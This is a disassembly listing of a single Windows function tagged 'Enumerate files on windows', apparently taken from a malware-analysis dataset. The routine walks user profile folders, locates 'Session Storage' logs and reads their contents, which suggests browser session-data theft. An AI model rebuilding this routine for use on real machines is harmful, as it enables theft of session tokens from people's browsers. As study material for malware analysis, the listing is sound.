Function at 0x1400023a0
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x708
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp + 0x678], 0
mov qword [rbp + 0x670], 0
lea rdx, [rbp + 0x420]
mov eax, 0
mov ecx, 0x4a
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x1d0]
mov eax, 0
mov ecx, 0x4a
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 0x48], 0
mov dword [rbp - 0x4c], 0
mov dword [rbp - 0x50], 0
mov rdx, qword [rbp + 0x6a0]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x140011148]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rdx, [rbp + 0x420]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x1400026fc
cmp qword [rbp + 0x678], 0xffffffffffffffff
je 0x1400026fc
movzx eax, word [rbp + 0x44c]
cmp ax, 0x2e
je 0x1400026c6
mov eax, dword [rbp + 0x420]
and eax, 0x10
test eax, eax
je 0x1400026c6
lea rax, [rbp + 0x420]
add rax, 0x2c
lea rdx, [0x140011158]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIW]
call rax
test rax, rax
jne 0x1400026c6
lea rax, [rbp + 0x420]
add rax, 0x2c
lea rdx, [0x140011166]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIW]
call rax
test rax, rax
jne 0x1400026c6
lea rax, [rbp + 0x420]
add rax, 0x2c
lea rdx, [0x140011172]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIW]
call rax
test rax, rax
jne 0x14000253b
lea rax, [rbp + 0x420]
add rax, 0x2c
lea rdx, [0x140011182]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIW]
call rax
test rax, rax
je 0x1400026c7
lea rax, str._tProfileName:
mov rcx, rax
call fcn.140001e60
lea rax, [rbp + 0x420]
add rax, 0x2c
mov rcx, rax
call fcn.140004b24
lea rax, [0x140011144]
mov rcx, rax
call fcn.140001e60
lea rax, [rbp - 0x40]
mov edx, 0x208
mov rcx, rax
call fcn.14000f9f0
lea rax, [rbp + 0x420]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x6a0]
lea rax, [rbp - 0x40]
mov r9, rcx
mov r8, rdx
lea rdx, str._ws_wsSession_Storage.log
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rdx, [rbp + 0x1d0]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
je 0x1400026c7
cmp qword [rbp + 0x670], 0xffffffffffffffff
je 0x1400026c7
lea rax, [rbp - 0x40]
mov edx, 0x208
mov rcx, rax
call fcn.14000f9f0
lea rax, [rbp + 0x420]
lea r8, [rax + 0x2c]
mov rcx, qword [rbp + 0x6a0]
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x1d0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
lea rdx, str._ws_wsSession_Storage_ws
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rcx, [rbp - 0x4c]
lea rdx, [rbp - 0x48]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140004f7e
test eax, eax
je 0x14000268f
mov eax, dword [rbp - 0x4c]
mov dword [0x1400180a0], eax
jmp 0x140002675
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp - 0x50]
mov edx, edx
lea rcx, [rax + rdx]
lea rax, [rbp - 0x50]
mov rdx, rax
call fcn.1400020fe
mov edx, dword [rbp - 0x50]
mov eax, dword [rbp - 0x4c]
cmp edx, eax
jb 0x14000265c
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x670]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
test eax, eax
jne 0x1400025e6
mov rax, qword [rbp + 0x670]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x1400026c7
nop
lea rdx, [rbp + 0x420]
mov rax, qword [rbp + 0x678]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
test eax, eax
jne 0x140002481
mov rax, qword [rbp + 0x678]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x708
pop rdi
pop rbp
ret